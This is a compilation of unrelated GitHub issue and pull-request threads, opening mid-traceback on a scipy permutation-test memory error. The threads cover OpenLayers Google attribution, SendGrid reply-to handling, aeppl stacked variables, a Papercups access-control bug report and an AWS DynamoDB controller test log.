       [0.18619301, 0.94437239, 0.7395508 , 0.49045881],
       [0.22741463, 0.25435648, 0.05802916, 0.43441663]])
        alternative = 'greater'
        axis       = 0
        b          = array([[0.31179588, 0.69634349, 0.37775184, 0.17960368],
       [0.02467873, 0.06724963, 0.67939277, 0.45369684],
    ...25],
       [0.25868407, 0.84903831, 0.03330463, 0.95898272],
       [0.35536885, 0.35670689, 0.0163285 , 0.18523233]])
        cna        = False
        cnb        = False
        contains_nan = False
        equal_var  = True
        nan_policy = 'propagate'
        npa        = 'propagate'
        npb        = 'propagate'
        permutations = 500000
        random_state = 0
/venv/lib/python3.8/site-packages/scipy/stats/stats.py:5987: in _permutation_ttest
    mat_perm, permutations = _data_permutations(mat, n=permutations,
        a          = array([[0.5488135 , 0.71518937, 0.60276338, 0.54488318],
       [0.4236548 , 0.64589411, 0.43758721, 0.891773  ],
    ...75],
       [0.18619301, 0.94437239, 0.7395508 , 0.49045881],
       [0.22741463, 0.25435648, 0.05802916, 0.43441663]])
        alternative = 'greater'
        axis       = 0
        b          = array([[0.31179588, 0.69634349, 0.37775184, 0.17960368],
       [0.02467873, 0.06724963, 0.67939277, 0.45369684],
    ...25],
       [0.25868407, 0.84903831, 0.03330463, 0.95898272],
       [0.35536885, 0.35670689, 0.0163285 , 0.18523233]])
        equal_var  = True
        mat        = array([[0.5488135 , 0.4236548 , 0.96366276, 0.56804456, 0.0202184 ,
        0.97861834, 0.11827443, 0.52184832, 0.4561..., 0.39902532, 0.3277204 , 0.16053882, 0.59098417,
        0.57575116, 0.15941446, 0.42403225, 0.95898272, 0.18523233]])
        na         = 50
        nan_policy = 'propagate'
        permutations = 500000
        random_state = RandomState(MT19937) at 0xD7B18E68
        t_stat_observed = array([ 0.78934693, -0.08113535, -0.22878563,  0.17163598])
/venv/lib/python3.8/site-packages/scipy/stats/stats.py:5920: in _data_permutations
    data = data[..., indices]        # generate permutations
E   MemoryError: Unable to allocate array with shape (100, 500000, 4) and data type float64
        axis       = 1
        data       = array([[0.5488135 , 0.4236548 , 0.96366276, 0.56804456, 0.0202184 ,
        0.97861834, 0.11827443, 0.52184832, 0.4561..., 0.39902532, 0.3277204 , 0.16053882, 0.59098417,
        0.57575116, 0.15941446, 0.42403225, 0.95898272, 0.18523233]])
        indices    = array([[26, 18, 42, ..., 46, 15, 94],
       [86, 29, 96, ..., 23, 60, 81],
       [ 2, 64, 58, ..., 73, 26, 83],
       ...,
       [64, 93, 67, ..., 77, 75, 36],
       [47, 48, 24, ..., 37, 93, 10],
       [44, 34, 88, ..., 53, 21, 76]])
        m          = 100
        n          = 500000
        n_max      = 9.332621544394415e+157
        random_state = RandomState(MT19937) at 0xD7B18E68

Thanks, I merged the fix from @mdhaber yesterday here: https://github.com/scipy/scipy/pull/13527
So hopefully this will eventually alleviate whatever issues this may cause you.

this seems like it would fix the failing 32bit build jobs, but not the failing 64bit py38 build. Also, it's strange that py38 fails but py37 and py39 don't.
To be clear, I'm talking about the official scipy wheel repository, over which I don't have any control.

@keewis is this still a problem? Should I cut the memory usage in half to see if that fixes it?

yes, the CI is still failing. I think this is the same as MacPython/scipy-wheels#114, but I opened this issue here for increased visibility.

Any updates on this and the state of the failing CI?

well, it seems all CI jobs are currently failing (since at least Mar 14) because of a build issue with pythran. This is being worked on in MacPython/scipy-wheels#116.
Also, it seems that #13661 is planning to fix this issue.

Yeah, we also need to change the manylinux version we use to adopt the newer C++ standard I believe. I'll do what I can--I can probably mimic some of what NumPy did when they bumped manylinux versions.

There's new wheels for macOS on https://anaconda.org/scipy-wheels-nightly/scipy/files, and others will appear as we fix more jobs. Working on it ....


Ordering policy of evaluation in classical instructions

There is no description about evaluation order in classical instructions. I believe it is as most of programming languages (such as python)
Parenthesized forms (with ( and )) are necessary for users to control evaluation order.
If assignment is allowed in variable declaration (as shown in many examples), ordering of qubit specifications and variable specifications need to be defined.
Example:  int a = sub(a, b, c) q0, q1;
If sub takes two qubits, q0 and q1 may be its arguments. However, q1 can be recognized a declared variable as int.
I guess that qubit specifications should be weakest. A parenthesized form will be necessary if two qubit arguments are taken as  int a = (sub(a, b, c) q0, q1);.

I agree a section on evaluation order is necessary. What you propose makes sense. We should follow the C evaluation order where it aligns.

I agree a section on evaluation order is necessary. What you propose makes sense. We should follow the C evaluation order where it aligns.

The latest ANTLR file supports ordering of classical instructions.


⚠ Bofrost.de has degraded performance

In 4c69c15, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 926 ms

Resolved: Bofrost.de performance has improved in 6094ee3 after 6 minutes.


Suggested edits to improve code quality

I gave it an effort to clean your existing code in Main. It should behave almost the same, except for an error being printed on invalid input and the program not crashing when an empty line is given. I did not look into Segno.Music.

removed useless GMain structure
added ChannelData that has constructors for the first three channels

Might need to generalize?

using the above, input is immediately parsed
factored out dumping routine (loop now directly loops, instead of calling helper function)

after doing the above, I believe there to be a bug in your current program, correct me if I'm wrong. Consider the input
c
c e

This should probably first play a c alone on channel 1, then c and e together, on channels 1 and 2. I believe that currently, channel 2 starts playing immediately, without a pause. Consider fixing this!

Is it a WIP or is it mergeable?


Incorrect exercise: [courseId=grammar-intro_eng][lessonNumber=1][exerciseId=1052]

Description
If possible, please provide a brief description of what is wrong with this exercise.

Diagnostics information (do not remove)

Exercise identifier: [courseId=grammar-intro_eng][lessonNumber=1][exerciseId=1052]
Exercise payload: {"exercise":{"alternatives":["ta","pelxu"],"sentences":[{"lojbanic":true,"text":"ta pelxu"}],"title":"Select the yellow/golden entity","type":"single-choice"},"shouldDisplayHint":false}
Attempted solution: {"correctAlternative":"pelxu"}
Attempted solution was classified as correct: no
Validation payload: {"correct":false,"correctAlternative":"ta"}

No, this exercise is correct.


Add description for LIGHT_WEIGHT_CHECKOUT

Related: https://github.com/adoptium/aqa-tests/issues/3114
Signed-off-by: lanxia<EMAIL_ADDRESS>

https://ci.adoptopenjdk.net/job/WIP_Test_Job_Auto_Gen/69


chore(docs): change VMware, Inc. to VMware secrets manager contributors.

I have made a very basic change for copyright statements, replaced VMware, Inc. with VMware Secrets Manager contributors.
resolves #487

@huseyingulec: There are a lot of formatting changes.
I’m not against them; however, we need to make this repeatable if we do a blanket formatting change.
Are you using some linter?
Can this be automated?
Can it have other styling options?

I see, my Prettier extension is changed everything :( . It should be fine with new commits.

Landed!
Thanks @huseyingulec.


XXX 2024-08: uefi v0.30 significant changes

This talks about the significant changes we made recently to uefi with the v0.30 release.
Steps to Undraft

[ ] wait for 2024-08 branch
[ ] wait for<EMAIL_ADDRESS>release

FYI @nicholasbishop I think we should release v0.30 soon so that we can talk about it here. Do you think we can manage a release in August?

Yes, I think so.

I'm a bit late this month with the newsletter release, I plan to publish the July issue today.
It looks like uefi 0.30 was released already. @phip1611 @nicholasbishop Should we merge this PR into the July issue or wait a month for the August issue?

Draft PR for August issue is now open at https://github.com/rust-osdev/homepage/pull/233.

Please review @nicholasbishop. I hope I didn't forget anything.


VCD file from ibex environment

Is there any possibility that we can generate VCD trace file from the current IBEX test environment instead of FST file? We have to extract the switching power of the embench-IoT programs using prime-time and it's quite difficult to change the whole ibex testbench environment.
Currently, I have tried to change the verilator class name to VerilatorVcdC , but still getting the following errors while building the project. I have commented on all the instances of a class object (VerilatorFstC) in simutil_verilator, but still, it is showing while building the project. I would appreciate the quick responses, as I have some deadline for my thesis.

Errors:

I have disabled the FST CFLAGS from ibex_simple_system and now it is able to generate the vcd file.
Thank you in advance.


Add cvmfs plugin

It took me a while to figure out the whole infrastructure, but this is pretty much it.
It still doesn't work, the mount give back:
Too many levels of symbolic links
Which is pretty much a standard error.
But we are quite close!

Guys, I am happy to report that this is working, at least on my machine.
Hopefully we can easily replicate it in the datacenter with older machines.
I am perfectly aware that this is not production grade code, but I am treating it as an experiment.
I need some discussion with our operation people on how to best exploit this.  Thanks a lot! Any feedbacks through your discussion/test are always welcome and feel free to ask anything this remote-snapshotter's side can help!

The failures seems to be unrelated to the code.

I was wrong, the failure was related to my changes.

@siscia We rewrote past commit log messages aiming to sign commits. It occurs hash changes so please rebase your repository and reopen this PR. Sorry for the inconvenience!


Fix default provider after refactor in concern

This PR #971 broke my what I did on #964, because it added the provider as a default parameter instead of a overridable method. I can't add test with other providers because the method needs to be override (something done in a project that includes this gem), and I don't like to do monkeypatch testing.

Makes sense to me


python3 compatibility

Hi,
I saw you'd updated django-ratings for newer versions of django.
I've added 3 commits to provide python3 compatibility.
The testcases seem broken though.

Thanks!


Finish setting up events for pipeline runs

Changes
Add the start events for pipelineruns.
Cleanup a bit of dead code where an event was generated but it's not used anymore.
Partly addresses #2082
Extracted from #2545
Submitter Checklist
These are the criteria that every PR should meet, please check them off as you
review them:

[x] Includes tests (if functionality changed/added)
[x] Includes docs (if user facing)
[x] Commit messages follow commit message best practices
[x] Release notes block has been filled in or deleted (only if no user facing changes)

See the contribution guide for more details.
Double check this list of stuff that's easy to miss:

If you are adding a new binary/image to the cmd dir, please update
the release Task to build and release this image.

Reviewer Notes
If API changes are included, additive changes must be approved by at least two OWNERS and backwards incompatible changes must be approved by more than 50% of the OWNERS, and they must first be added in a backwards compatible way.
Release Notes
The pipeline run controller now emits a k8s event every time that a pipeline is started.

/kind feature
/cc @dibyom @vdemeester

One small subjective nit about the terminology below. Also, this functionality is tested with existing tests right?

Heh, good point, I added a bunch of tests related to events in the original PR, not only for the started event for events in general. I will add them back in to this PR.

/hold

/hold cancel

/hold cancel


Fix users can send chat messages after being disabled

Hello, @reichert621  , @cheeseblubber  , @rhonsby - a potential high severity security vulnerability has been disclosed to huntr .
Report url --> https://www.huntr.dev/bounties/3-other-papercups-io/papercups/
BUG
user can send chat message even after his account is disabled
IMPACT
If a user account is disabled by admin then sill he can send chat message to users
STEP TO REPRODUCE

From your admin account goto https://app.papercups.io/account/team and add user B as normal user .

Now goto user B and open url https://app.papercups.io/conversations/all . Here user B can send message to any other user .
Keep this browser tab open .

Now goto admin account and disabled user B .
So, here user B should access his account or should not send message to anyone .

Finally goto user B account(above opened tab) and here user B still can send message to anyone . Or can read any new incomming message .
keep this tab open and user B can access his account and message even after account is disabled by admin .

can you plz update the report status https://www.huntr.dev/bounties/3-other-papercups-io/papercups/ as it is a valid security bug?

Is this bug fixed?

its about a year but i see security bug is still open


Cluster Autoscaler fails when installing in new namespace. Fixes #957

Issue #, if available: #957
Description of changes: dependency fixed. Pending manual e2e tests as this addon conflicts with Karpenter.
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Closed in favor of #958


Reply to should be a collection of email addresses.

Issue Summary
We currently have this flow:
Person 1 which belongs to the company send e-mail with reply to (Person 1, Person 2, Person 3... Person N) which also belongs to the company to Person X (which is not part of the company).
Person X replies this e-mail to the listed ones (Person 1, Person 2, Person 3... Person N) so in case any of the ones listed in the reply to field 1, 2, 3 is not present in the company or doesn't read the e-mail etc, the other ones are aware of the response, this is very crucial for us.
This way Person X doesn't have to know or write manually to who he/she should reply to, that should be automatic.
Steps to Reproduce
So currently the library accepts only one reply to instead of multiple, I think the implementation should be very easy and shouldn't affect the current flow of the API, since instead of:
{
    "reply_to"<EMAIL_ADDRESS>}

We suggest something like:
"reply_to":[
  {
<EMAIL_ADDRESS>  },
  {
<EMAIL_ADDRESS>  },
  {
<EMAIL_ADDRESS>  }
]

Technical details:

sendgrid-php Version: master
PHP Version: all

@thinkingserious

Thank you for taking the time to write this out for us!

@shonjord,
In the mean time, as it may take some time for this to rise in the product backlog, how about using a catchall email address that forwards to the relevant parties?
With Best Regards,
Elmer

I am curious if there is another way to make this work... Sorry if this is a repeat of a question asked previously -
What if you make the "CC" param of the personalization to be Person 1, Person 2, Person 3... Person N ? This would have the same net-effect on a reply email, in that the customer's email application should make sure the reply always goes to everyone who is on the email in Reply-to and CC.

@ogilliland can you take a look at the suggestion of @thinkingserious ? :) thanks.

The catch-all address suggested by @thinkingserious will work as a stopgap measure, but the disadvantage is that it will also fill up the inboxes of people on that mailing list who care about different email chains.
The CC solution on the other hand relies on the recipient clicking "reply-all" instead of just "reply", and takes away our ability to ensure delivery of the reply to all necessary parties.

@thinkingserious any thoughts on what @ogilliland said?

@shonjord,
I think you can customize the catch-all addresses in the same way you would customize what emails were included in the multi-reply-all. (e.g. Billing goes to X, Y, Z and Marketing goes to A, B, C, etc.)

Thanks to @ogilliland, for the clarification!

There is another, more involved, work around. If you wanted to, you use inbound parse to solve this by identifying the recipients of a specific email through a conversation identifier based email address at send time. By setting the reply-to email to something like "[conversation id<EMAIL_ADDRESS>when someone replies the email is parsed by SendGrid and passed to you as data. Then, when you receive the reply via parse, look that conversation ID up and forward the response to those people, keeping the reply-to as the conversation ID email address.
This may not be ideal, but it does give you the opportunity to see and track all replies that come to the original email, while also making sure all of the appropriate people on the thread get the replies.

See https://github.com/sendgrid/sendgrid-csharp/issues/339.


The new Google Maps source in v9 doesn't comply with Google's policies by default (missing logo and attribution)

Describe the bug
When using the new Google Maps source by default, it looks something like this:

The Google API Tile page:
https://developers.google.com/maps/documentation/tile/overview
has a link to the policies:
https://developers.google.com/maps/documentation/tile/policies
which states:
++++++++++++
When you use the Map Tiles API to display Google Maps, you must also display the Google logo on the map, and you must not alter the logo in any way. You should place the Google logo in the bottom left-hand corner of the map, and you should place the attribution information in the right-hand corner of the map
++++++++++++
I believe the Google OpenLayers source should by default embed the Google logo in the bottom-left corner.
This is how Cesium handles it by default for instance:
https://github.com/CesiumGS/cesium/blob/main/packages/engine/Source/Core/GoogleMaps.js#L36
If you condider that it's the developper's responsability to add the Google logo, it should at least be properly showcased in the example, to enforce best practices
Also, Google policies state:
++++++++++++
Data returned from the Map Tiles API requires the display of attribution and copyright information from the appropriate metadata or viewport information requests. You should display this information, in full as provided in the appropriate location, usually the bottom right corner of the displayed set of tiles, or in the 3D renderer view. Note that the attribution strings are variable, depending on the map data requested by the renderer's viewport.
If it's infeasible to display data attributions in full due to viewport size constraints, consider adding a hover-over or clickable UI element labeled "Data sources", which opens within the map window to provide attribution information. Always aim to maintain good cartographic practices.
++++++++++++
At the moment, here is how the Google source displays the attribution:

I don't believe this agrees with Google policies by default. From what it says on Google's documentation, attributions depend on the current viewport (position and scale), So I believe the Google OpenLayers source should automatically request the current viewport attribution (with a bit of throttle/debounce to avoid having too many requests).
I don't think the developper should do it in his own code (and I guess you would need the session token generated by the OL source for it). It is can't be done automatically, the official example should show how to properly request the attributions and display them,
To request the viewport attribution, there is a Google WebService described here:
https://developers.google.com/maps/documentation/tile/2d-tiles-overview?hl=en#viewport_info_respoonse
To Reproduce
Use the example page and input your Google API Key in the field:
https://openlayers.org/en/latest/examples/google.html
Expected behavior
The Google OL source should comply by default with Google's policies

@fnicollet Thanks for the in-depth analysis and writeup. Do you think you'd be able to provide at least some of the suggested improvements as pull request? I agree with all of them. Our attribution code can handle viewport dependent attributions already, it is used for the Bing Maps source.

Sure, I haven't contributed to OpenLayers just yet, but i'll try to come up with a PR

@ahocevar I need a bit of advice on how to do this PR please.
For the missing logo, I added in custom control ("GoogleLogoControl", which extends Control) to the google.js example, so that devs can use whichever image is best for their basemap (color logo or the white one for darker backgrounds), instead of adding a custom control to the OL Google source, which would imply bundling the logo and I don't think it's worth adding to OL's bundle size just for this.
But at least, it will give a good example of how to add the Google logo to the map, directly in the example page, ready to be copy-pasted.
For the attribution, I cannot figure out how to listen to the "moveend" event from the Google source. It doesn't seem to have a back reference to the View, and the getView function returns a Promise ... which is never fulfilled.
I tried looking at the Bing Maps Source code, but the attribution is only retrieve on startup, and not when the extent changes, as it seems not to depend on the current viewport.
The only way to retrieve the map instance would be to pass it to the constructor, but that seems like a bad practice. Handling the "moveend" in the dev's own source and calling a function on the source seems like a bad idea (it should be handled by default).
Also, I thought I would add a "debounce" on the moveend handler, but there doesn't seem to be a debounce util function already in the OL code
How would you approach this issue?

Thanks for your effort on this, @fnicollet!
There is no need to listen to moveend for the attributions. If you look at the BingMaps source, you'll see that setAttributions() is called with a function that expects a FrameState as argument and returns an array of attributions. That function will be called on every render frame, and you can use frameState.extent to get the extent, and all the view properties from frameState.viewState. You won't need a debounce. Instead, check frameState.animate, and only send a request for attributions when frameState.animate === false. This way, the attributions will only be updated when animations and user interactions with the map have stopped.
Regarding the logo, your approach makes sense for now.

@ahocevar Thanks for the hints !
I almost have something working but got two things which are not working.
First, I check the "animate" boolean on the frameState, but it is not really what I expected. Like if I pan the map, I will get many "animate=false" calls, even though i never "released" the mouse. Same for a zoom in/out, I get many calls to the function with animate=false, so it turns into many XHR calls (not sure they counted in Google's API quota, but you never know ...).
If possible, I would like to only have a call when the map is "resting", just like the "moveend" event, that would reduce the number of calls a lot.
Then, I have a bigger problem with the fact that the setAttributions callback expects a "synchronous" response, and I have to make an (async) XHR call. I don't think I can use async/await here as when I try to "await" the XHR call, I get an error:
Cannot use keyword 'await' outside an async function

And I tried messing about and passing and async function to the setAttribution function, but then I get as an attribution:

As sychronously, a Promise is what is returned by the async function.
The documentation:
https://openlayers.org/en/latest/apidoc/module-ol_source_Source.html#~AttributionLike
States that you can return a function, but I think that means a "synchronous" function (for formatting), not an async one.
I looked in the rest of the source code, but it seems like the setAttributions callback is always synchronous.
Do you have an idea on how I could proceed ?
Thanks !

Yes you're right, currently that function needs to return the attributions and not a promise thereof. However, this could be easily changed. We have a ol/functions.toPromise() helper function which can be used to make this whole process work with async functions in ol/control/Attribution:
--- a/src/ol/control/Attribution.js
+++ b/src/ol/control/Attribution.js
@@ -6,6 +6,7 @@ import EventType from '../events/EventType.js';
 import {CLASS_COLLAPSED, CLASS_CONTROL, CLASS_UNSELECTABLE} from '../css.js';
 import {equals} from '../array.js';
 import {removeChildren, replaceNode} from '../dom.js';
+import {toPromise} from '../functions.js';

 /**
  * @typedef {Object} Options
@@ -215,7 +216,7 @@ class Attribution extends Control {
    * @private
    * @param {?import("../Map.js").FrameState} frameState Frame state.
    */
-  updateElement_(frameState) {
+  async updateElement_(frameState) {
     if (!frameState) {
       if (this.renderedVisible_) {
         this.element.style.display = 'none';
@@ -224,7 +225,11 @@ class Attribution extends Control {
       return;
     }

-    const attributions = this.collectSourceAttributions_(frameState);
+    const attributions = await Promise.all(
+      this.collectSourceAttributions_(frameState).map((attribution) =>
+        toPromise(() => attribution),
+      ),
+    );

     const visible = attributions.length > 0;
     if (this.renderedVisible_ != visible) {

Regarding frameState.animate, to achieve what you want (i.e. only request attribution when the map has settled), use this instead:
if (!frameState.viewHints[ViewHint.ANIMATING] &&
        !frameState.viewHints[ViewHint.INTERACTING]) {
  // request attribution
}

Thanks ! i'll look into that. Should the changes to Attribution.js be part of the same PR ? Because it might have a bigger impact

Thanks ! i'll look into that. Should the changes to Attribution.js be part of the same PR ? Because it might have a bigger impact

I'll leave this decision up to you. I'm fine either way. If the diff above is applied, there is a single test that will fail, but it's fine to just fix that test because it doesn't break any advertised API.

@ahocevar I created the PR :
https://github.com/openlayers/openlayers/pull/15598
Thanks for all the advice on this!

Thanks for reporting this.  I'll close as fixed by #15598.


[LM Pipeline] learn to use different LM tools to generate LM finetuning pipeline

Help users to quickly build an efficient LM training & finetuning pipeline, and also give the multi-gpu parallel codes.
MLE-agent could learn to use:

parallel tools: Deepspeed, Megatron, FSDP
compile tools: Torch.compile, TensorRT, TVM
algorithms: lora, kv-cache, falcon, xAttention, and etc.

https://github.com/NVIDIA/NeMo
how about addingnemo also

https://github.com/OpenAccess-AI-Collective/axolotl


consider expanding to WARC

user provided function

https://github.com/marianna13/warcprocessor

https://github.com/rom1504/cc2dataset/pull/38


orderBy: notarray issue with angular 1.5 components

I'm plugging an instance of md-data-table into a page I'm creating using the new component feature in angular 1.5. I'm basically doing everything exactly the same as I did with regular template views previously. When my page renders I receive several errors that read orderyBy: notarray which gets linked to this page: https://docs.angularjs.org/error/orderBy/notarray?p0={"$$state":{"status":0}}
My data table has md-order="ftpUsers.gridOptions.order" md-on-reorder="ftpUsers.sortGrid" on its thead.
My controller initializes the gridOptions property like this:
var ctrl = this;
ctrl.gridOptions = { order: 'MSTRSAPID' };

sortGrid looks like this:
        function sortGrid(order) {
            ctrl.gridOptions.order = order;
            setLocation();
        };

        function setLocation() {
            // $location.search({ key: ctrl.gridOptions.order, id: ctrl.ftpUserId })
            $location.search({ key: ctrl.gridOptions.order })
        };

There's really nothing different from this instance of  other than the use of component.
Any ideas?

I'm guessing it is complaining about the orderBy property of your ng-repeat statement. You haven't shown me you ng-repeat statement so I don't know whats going on., but I'm also guessing you're attempting to sort the items on the server so you shouldn't have an orderBy property in your ng-repeat statement.

I don't think so. My ng-repeat looks like this:
''' ng-repeat="customer in ftpUsers.customerList | orderBy: ftpUsers.gridOptions.order"
which is basically the same thing I do elsewhere.

What are you doing with $location.search({ key: ctrl.gridOptions.order })? Also, you don't need the line ctrl.gridOptions.order = order;. The module will update this property for you, it just won't happen till the next digest cycle unfortunately.

I'm not currently doing anything with the $location.search code, but in other controllers I use this to restore the sort order when I return to the view and will eventually do this here as well.

Well, at any rate, this appears to be an issue with ng-repeat itself, not md-data-table. If I eliminate md-data-table and all of the calls to it, I still get the same error. I'm still stumped, because there's nothing different in this particular ng-repeat that I can see to other places I use it, but it doesn't appear to be your issue at all.

It looks like you are somehow passing a promise the the orderBy property.
{"$$state":{"status":0}} // <- this resembles an Angular promise object

Are you executing any asynchronous code that may return promise for ftpUsers.gridOptions.order?

Hit me up next time you're in the 419 - I owe you many beers!

lol, did you get it to work?

Yeah. I'm more or less following John Papa's style guide and started implementing returning promises from my activate function in my controllers. Although I do that elsewhere and don't have this issue, eliminating that solved it in this instance.


fix: update test with create-near-app assumptions

the structure of create-near-app changed in v1 and we need to change this test to match
the commit that changed it is here: https://github.com/near/create-near-app/commit/7ab9ae34479dd098edf609b83ac78484c7b564fa

@janedegtiareva I think this will fix the test (Travis didn't complete yet when I wrote this)
However, I think it would probably make sense to add create-near-app to this project's devDependencies and use the local version, rather than using the latest version with yarn create. Do you think it makes sense to do that before we merge this one?

I think that the commit that fixes the --vanilla issue is needed too. I think that we also need to file a docs cleanup issue to remove --vanilla from all the things

Vanilla is not default until https://github.com/near/create-near-app/pull/387 is merged and published
Note that docs changes are already in draft waiting on that one
It needs a review! Please help if you can
I still think having create-near-app unversioned in these tests is a bad idea. Let’s add it to devDependencies so future interface changes don’t break near-shell until dependabot bumps the version


fix: es_base_extractor.py to support ES 7.x

Summary of Changes
The location of properties key at metadata response is varies by ES version.
in 6.x, mappings > table > properties
in 7.x, mappings > properties
so, properties = list(mappings.values())[0].get('properties', dict()) is not worked at ES 7.x.
Tests
extract metadata at es7.6 and es6.7,
and check the results at neo4j and amundsen-es.
Documentation
https://github.com/amundsen-io/amundsen/issues/1481

would you mind signing DCO @dkdbsd ? without it we cannot merge this change

fixed in https://github.com/amundsen-io/amundsen/pull/1648


Update input to support evdev

I'm not sure that I did this properly, I only did limited testing on my personal config, and I don't know if there's anything else I should be editing before making this PR; Tell me if there's anything else I need to do.

Thanks


CASIA-SURF unzipping password

I just downloaded the CASIA-SURF dataset from the Baidu link that you provided. It requires a password to unzip the files. I was hoping you could also provide the password for unzipping the files.

I just downloaded the CASIA-SURF dataset from the Baidu link that you provided. It requires a password to unzip the files. I was hoping you could also provide the password for unzipping the files.

do u have the passwd?

Hi guys.
I'd like to get the CASIA-SURF dataset to complete my academic research. Could someone help me? I'll be very grateful.
Email<EMAIL_ADDRESS>


Allow the use of stacked composite terms

We should make it possible to use random/stochastic composite terms constructed using function like aesara.tensor.stack (e.g. the Join Op).
For example, the following should work:
import aesara
import aesara.tensor as at

from aeppl.joint_logprob import factorized_joint_logprob

M = 2
srng = at.random.RandomStream(seed=2023532)

p_0_rv = srng.dirichlet(at.ones(M), name="p_0")
p_1_rv = srng.dirichlet(at.ones(M), name="p_1")

Gamma_rv = at.stack([p_0_rv, p_1_rv])

aesara.dprint(Gamma_rv)
# Join [id A] ''
#  |TensorConstant{0} [id B]
#  |InplaceDimShuffle{x,0} [id C] ''
#  | |dirichlet_rv{1, (1,), floatX, False}.1 [id D] 'p_0'
#  |   |RandomGeneratorSharedVariable(<Generator(PCG64) at 0x7FFA4B987050>) [id E]
#  |   |TensorConstant{[]} [id F]
#  |   |TensorConstant{11} [id G]
#  |   |Alloc [id H] ''
#  |     |TensorConstant{1.0} [id I]
#  |     |TensorConstant{2} [id J]
#  |InplaceDimShuffle{x,0} [id K] ''
#    |dirichlet_rv{1, (1,), floatX, False}.1 [id L] 'p_1'
#      |RandomGeneratorSharedVariable(<Generator(PCG64) at 0x7FFA4B987450>) [id M]
#      |TensorConstant{[]} [id N]
#      |TensorConstant{11} [id O]
#      |Alloc [id P] ''
#        |TensorConstant{1.0} [id Q]
#        |TensorConstant{2} [id R]

gamma_vv = Gamma_rv.clone()
gamma_vv.name = "gamma"

# Currently does not work
factorized_joint_logprob({Gamma_rv: gamma_vv})

Currently, we are required to work in terms of p_0_rv and p_1_rv, which can be quite inconvenient.
This is very related to our existing mixture support, so it shouldn't be particularly difficult to add.

I explored this a bit. The biggest challenge I found was to keep the size information when replacing the RVs with value variables, for instance when stacking [random.normal(0, size=2), random.normal(1, size=3)]], so that we can dispatch the right subtensor to each logp
It should be much more straightforward after we implement the ValuedVariables

Actually what I tried back then was chop off the value variable during the rewrite phase and assign each part to the respective RandomVariables, but this wouldn't work now that we return a dictionary with value - logp pair.
I think we would just need to create a "MeasurableStack" that will keep having the RVs as inputs so retrieving size info wouldn't be a problem.

I think we would just need to create a "MeasurableStack" that will keep having the RVs as inputs so retrieving size info wouldn't be a problem.

If you mean something like aeppl.mixture.MixtureRV, but for Joined terms, then, yes, that should work just fine.

I was thinking in isolation. For that we still need to get the nested rewrites strategy sorted out


Improved Missing Block Finder

Missing block finder now leverages concurrency of machine it's running on.
While fetching all tx(s) mined in a block, using concurrency
All tx fetcher jobs ( i.e. go routines ) are communicating with supervisor go routine using go channel
Using colored console output, to denote status of different states encountered during block indexing
Not anymore hitting DB hard for getting latest block count, rather querying it once and after that keeping track of fresh count in-memory

Better performance attained

Not anymore blindly adding block numbers in retry queue, first checking and then deciding whether to add or not, depending upon status of presence in Redis backed retry queue.

Not anymore blindly adding block numbers in retry queue, first checking and then deciding whether to add or not, depending upon status of presence in Redis backed retry queue.


Corruption of unknown origin in data sent through unidirectional stream

I unfortunately don't know much about this issue but I have thoroughly documented the events and my setup here: https://stackoverflow.com/questions/76177807/corruption-of-unknown-origin-in-audio-libopus-and-video-nvenc-hevc-bitstream/76190994?noredirect=1#comment134363768_76190994
Specifically, I sent pure hevc and opus bitstreams through unidirectional streams, but they're getting corrupted some way as depicted in the video (https://youtu.be/wAY5w4zlku4). I know the issue is at the web transport stream since I switched to using datagrams and the corruption is gone.

We have a bunch of tests both here and in quic-go that assert that stream data is not corrupted, so I'd be very surprised if that's the problem.
Do you have a simpler reproducer than your current setup?

I tried using the unidirectional streams again for the video bitstream only
for the server code, all I effectively did was replace:
activeSession.SendMessage(buffer[0:len])
with this: (I verified that actualLen always == len)
actualLen, _ := videoStream.Write(buffer[0:len])
that was enough for the corruption to come back. I am using go 1.18.10 on windows 11, and I'm using the webtransport browser API for the client. Assuming there is nothing wrong on the go side, the most likely culprit would be the browser API, which is stated to be experimental

Not sure what to do here. This doesn’t seem to be an issue on our side.


refactor: Added Nivo :D

Switched bar chart to use a new framework instead of devexpress. Hopefully resolves #168

Might want to move everything to Nivo (including pie charts) and remove devexpress altogether

graphs 😳

@NickBurnett pls review

@DedsecKnight

@DedsecKnight Please view my comment before merging.


Adds DynamoDB service controller

Checks the DynamoDB service controller into the source tree, along with
e2e tests and changes to the documentation to get this controller into
DEVELOPER-PREVIEW release status.
e2e tests for Table resources included:
jaypipes@thelio:~/go/src/github.com/aws/aws-controllers-k8s$ make kind-test SERVICE=dynamodb AWS_ROLE_ARN=$ROLE_ARN
<snip>
./scripts/kind-build-test.sh -s dynamodb -p -r arn:aws:iam::750630568209:role/elasticache.services.k8s.aws.full
Using Kubernetes kindest/node:v1.16.9@sha256:7175872357bc85847ec4b1aba46ed1d12fa054c83ac7a8a11f5c268957fd5765
Creating k8s cluster using "kind" ...
No kind clusters found.
Created k8s cluster using "kind"
Building dynamodb docker image
Building 'dynamodb' controller docker image with tag: ack-dynamodb-controller:b39842d
sha256:ec8eaef8d4c76c19c19e87c942c09c26ac7445b65846c1eece10926bc09ee87c
Loading the images into the cluster
Image: "ack-dynamodb-controller:b39842d" with ID "sha256:ec8eaef8d4c76c19c19e87c942c09c26ac7445b65846c1eece10926bc09ee87c" not yet present on node "test-5acfde48-worker", loading...
Image: "ack-dynamodb-controller:b39842d" with ID "sha256:ec8eaef8d4c76c19c19e87c942c09c26ac7445b65846c1eece10926bc09ee87c" not yet present on node "test-5acfde48-control-plane", loading...
Loading CRD manifests for dynamodb into the cluster
customresourcedefinition.apiextensions.k8s.io/backups.dynamodb.services.k8s.aws created
customresourcedefinition.apiextensions.k8s.io/globaltables.dynamodb.services.k8s.aws created
customresourcedefinition.apiextensions.k8s.io/tables.dynamodb.services.k8s.aws created
Loading RBAC manifests for dynamodb into the cluster
clusterrole.rbac.authorization.k8s.io/ack-controller created
clusterrolebinding.rbac.authorization.k8s.io/ack-controller-rolebinding created
Loading service controller Deployment for dynamodb into the cluster
namespace/ack-system created
deployment.apps/ack-dynamodb-controller created
Running aws sts assume-role --role-arn arn:aws:iam::750630568209:role/elasticache.services.k8s.aws.full, --role-session-name tmp-role-fdaaabe8  --duration-seconds 900,
Temporary credentials generated
deployment.apps/ack-dynamodb-controller env updated
Added AWS Credentials to env vars map
======================================================================================================
To poke around your test manually:
export KUBECONFIG=/home/jaypipes/go/src/github.com/aws/aws-controllers-k8s/scripts/../build/tmp-test-5acfde48/kubeconfig
kubectl get pods -A
======================================================================================================
